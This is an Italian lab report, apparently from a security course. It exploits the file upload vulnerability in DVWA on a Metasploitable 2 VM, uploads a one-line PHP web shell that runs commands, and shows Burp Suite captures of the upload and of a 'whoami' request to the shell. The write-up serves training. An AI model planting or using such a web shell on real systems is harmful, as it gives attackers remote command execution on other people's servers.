

REPORT

1. INTRODUZIONE

LO SCOPO DI QUESTO LABORATORIO È ANALIZZARE E SFRUTTARE UNA VULNERABILITÀ DI **FILE UPLOAD** PRESENTE NELLA **DVWA** (**DAMN VULNERABLE WEB APPLICATION**), AL FINE DI OTTENERE L'ESECUZIONE REMOTA DI COMANDI SULLA MACCHINA BERSAGLIO, IN QUESTO CASO LA METASPLOITABLE.

2. AMBIENTE DI LABORATORIO

MACCHINE UTILIZZATE:

- KALI LINUX (ATTACCANTE)
- METASPLOITABLE 2 (BERSAGLIO)

LE MACCHINE SONO STATE CONFIGURATE SULLA STESSA RETE VIRTUALE PER CONSENTIRE LA COMUNICAZIONE.

PER VERIFICARE LA CONNETTIVITÀ ABBIAMO UTILIZZATO IL COMANDO: PING CON L'INDIRIZZO IP DELLA METASPLOITABLE:

The screenshot shows a terminal window titled "kali@kali: ~". The window contains the following text:

```
Session Actions Edit View Help
(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=11.0 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=1.77 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=3.52 ms
64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=3.44 ms
64 bytes from 192.168.50.101: icmp_seq=5 ttl=64 time=2.03 ms
64 bytes from 192.168.50.101: icmp_seq=6 ttl=64 time=3.04 ms
64 bytes from 192.168.50.101: icmp_seq=7 ttl=64 time=1.83 ms
64 bytes from 192.168.50.101: icmp_seq=8 ttl=64 time=2.80 ms
64 bytes from 192.168.50.101: icmp_seq=9 ttl=64 time=3.03 ms
64 bytes from 192.168.50.101: icmp_seq=10 ttl=64 time=1.42 ms
64 bytes from 192.168.50.101: icmp_seq=11 ttl=64 time=2.36 ms
64 bytes from 192.168.50.101: icmp_seq=12 ttl=64 time=21.2 ms
64 bytes from 192.168.50.101: icmp_seq=13 ttl=64 time=1.99 ms
```

3. PREPARAZIONE DVWA

L'ACCESSO ALLA DVWA È AVVENUTO TRAMITE BROWSER DALLA MACCHINA KALI. IL LIVELLO DI SICUREZZA È STATO IMPOSTATO SU LOW PER CONSENTIRE LO SFRUTTAMENTO DELLE VULNERABILITÀ.

The screenshot shows the DVWA Security page. On the left is a sidebar menu with items like 'e', 'uctions', 'p', 'e Force', 'mand Execution', 'F', 'Inclusion', 'Injection', 'Injection (Blind)', 'ad', 'reflected', 'stored', 'A Security' (which is highlighted in green), 'Info', 'ut', and 'out'. The main content area has a header 'DVWA Security' with a lock icon. Below it is a section titled 'Script Security' with the sub-section 'Security Level is currently low.' It says you can set the security level to low, medium or high, and that the security level changes the vulnerability level of DVWA. There is a dropdown menu set to 'low' and a 'Submit' button. A horizontal line separates this from the 'PHPIDS' section. The 'PHPIDS' section contains the text: 'PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications. You can enable PHPIDS across this site for the duration of your session. PHPIDS is currently disabled. [enable PHPIDS]'. Below this are links '[Simulate attack]' and '[View IDS log]'. The background of the main content area is light grey.

4. SFRUTTAMENTO FILE UPLOAD

È STATA CARICATA CON SUCCESSO UNA SHELL PHP:

```
<?php  
if (isset($_GET['cmd'])) {  
    system($_GET['cmd']);  
}  
?>
```

ATTRaverso il modulo di upload vulnerabile, senza alcun controllo sull'estensione del file, come possiamo vedere dal seguente screen:

The screenshot shows a browser window titled "DVWA Vulnerable Web App" with the URL <http://192.168.50.101/dvwa/vulnerabilities/upload/#>. The DVWA logo is at the top. On the left is a sidebar menu with various security modules: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload (which is highlighted in green), XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: File Upload". It contains a form with a file input field set to "shell.php", a "Browse..." button, and an "Upload" button. Below the form, a message in red text says ".../.../hackable/uploads/shell.php successfully uploaded!". At the bottom of the page, it says "Username: admin" and has "View Source" and "View Help" links.

5. ESECUZIONE COMANDI REMOTI

ACCEDENDO ALLA SHELL CARICATA È STATO POSSIBILE ESEGUIRE COMANDI DI SISTEMA DA REMOTO, DIMOSTRANDO UNA REMOTE COMMAND EXECUTION.

6. ANALISI CON BURPSUITE

BURPSUITE È STATO UTILIZZATO PER INTERCETTARE E ANALIZZARE LE RICHIESTE HTTP DURANTE L'UPLOAD E L'ESECUZIONE DELLA SHELL.

DURANTE L'ANALISI BURPSUITE HA INTERCETTATO UNA RICHIESTA HTTP DI TIPO POST;

È STATA INOLTRE INTERCETTATA LA RICHIESTA GET VERSO LA SHELL CARICATA CHE DIMOSTRA L'ESECUZIONE DEI COMANDI DIRETTAMENTE DAL SERVER.

The screenshot shows the Burp Suite interface with two main sections: the Network tab and the Request/Inspector tab.

Network Tab: This tab displays a list of network requests and responses. The selected request is highlighted in blue. The URL for the selected POST request is `http://192.168.50.101/dwva/vulnerabilities/upload/`. The list includes various GET requests to `http://www.google.com/search` and `http://example.com/`, along with several GET requests to the DWA server at `http://192.168.50.101/dwva/security.php`.

Time	Type	Direction	Method	URL
09:19:15...	HTTP	→ Request	GET	https://www.google.com/search?q=HTTP+Proxy%3A+127.0.0.1+Port%3A+8080&oq=HTTP+Proxy%3A+127.0.0.1+Port%3A
09:25:44...	HTTP	→ Request	GET	http://example.com/
09:26:47...	HTTP	→ Request	GET	http://example.com/
09:27:01...	HTTP	→ Request	GET	http://example.com/
09:28:03...	HTTP	→ Request	POST	http://192.168.50.101/dwva/vulnerabilities/upload/
09:31:00...	HTTP	→ Request	GET	http://192.168.50.101/dwva/hackable/uploads/shell.php?cmd=whoami
09:43:20...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:43:21...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:43:22...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:43:22...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:43:38...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:09...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:09...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:09...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:10...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:10...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:11...	HTTP	→ Request	GET	http://192.168.50.101/dwva/security.php
09:45:21...	HTTP	→ Request	GET	http://detectportal.firefox.com/success.txt?ipv6
09:45:21...	HTTP	→ Request	GET	http://detectportal.firefox.com/success.txt?ipv4

Request Tab: This tab shows the details of the selected POST request. The "Pretty" tab is selected, displaying the full HTTP request message.

```
1 POST /dwva/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.50.101
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: multipart/form-data; boundary=----geckoformboundarye597032ead9d5baa122d5c4bad971041
8 Content-Length: 523
9 Origin: http://192.168.50.101
10 Connection: keep-alive
11 Referer: http://192.168.50.101/dwva/vulnerabilities/upload/
12 Cookie: security=low; PHPSESSID=6b358c45d4369b5cd89f9ac336a8171c
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 ----geckoformboundarye597032ead9d5baa122d5c4bad971041
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
```

Inspector Tab: This tab is currently empty, indicated by the placeholder text "Request attr".

The screenshot shows the Burp Suite interface. The top menu bar includes File, Macchina, Visualizza, Inserimento, Dispositivi, and Aiuto. The toolbar features icons for Burp, Project, Intruder, Repeater, View, and Help, along with tabs for 1, 2, 3, 4, and a search field. The status bar indicates "Burp Suite Community Edition v2025.10.6 - Temporary Pi".

The main window has a tab bar with Dashboard, Target, **Proxy**, Intruder, Repeater, Collaborator, Sequencer, Decoder, and Comparer. Below this are Intercept, HTTP history, WebSockets history, Match and replace, and Proxy settings.

The Intercept tab is selected, showing a list of captured requests. The table columns are Time, Type, Direction, Method, and URL. The list includes:

Time	Type	Direction	Method	URL
09:19:15...	HTTP	→ Request	GET	https://www.google.com/search?q=HTTP+Proxy%3A+127.0.0.1+Port%3A+8080&oq=
09:25:44 ...	HTTP	→ Request	GET	http://example.com/
09:26:47...	HTTP	→ Request	GET	http://example.com/
09:27:01...	HTTP	→ Request	GET	http://example.com/
09:28:03...	HTTP	→ Request	POST	http://192.168.50.101/dvwa/vulnerabilities/upload/
09:31:00...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/hackable/uploads/shell.php?cmd=whoami
09:43:20 ...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:43:21...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:43:22...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:43:22...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:43:38...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:09 ...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:09 ...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:09 ...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:10...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:10...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:11...	HTTP	→ Request	GET	http://192.168.50.101/dvwa/security.php
09:45:21...	HTTP	→ Request	GET	http://detectportal.firefox.com/success.txt?ipv6
09:45:21...	HTTP	→ Request	GET	http://detectportal.firefox.com/success.txt?ipv4

The Request section displays a dump of captured requests. The "Pretty" tab is selected, showing the following request details:

```
1 GET /dvwa/hackable/uploads/shell.php?cmd=whoami HTTP/1.1
2 Host: 192.168.50.101
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: security=low; PHPSESSID=6b358c45d4369b5cd89f9ac336a8171c
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12
```

At the bottom, there are navigation icons (back, forward, search), an event log (2 issues), and an all issues link.

7. CONCLUSIONI

QUESTO ESERCIZIO HA DIMOSTRATO COME UNA VULNERABILITÀ DI FILE UPLOAD POSSA COMPROMETTERE COMPLETAMENTE UN SISTEMA SE NON ADEGUATAMENTE PROTETTO.



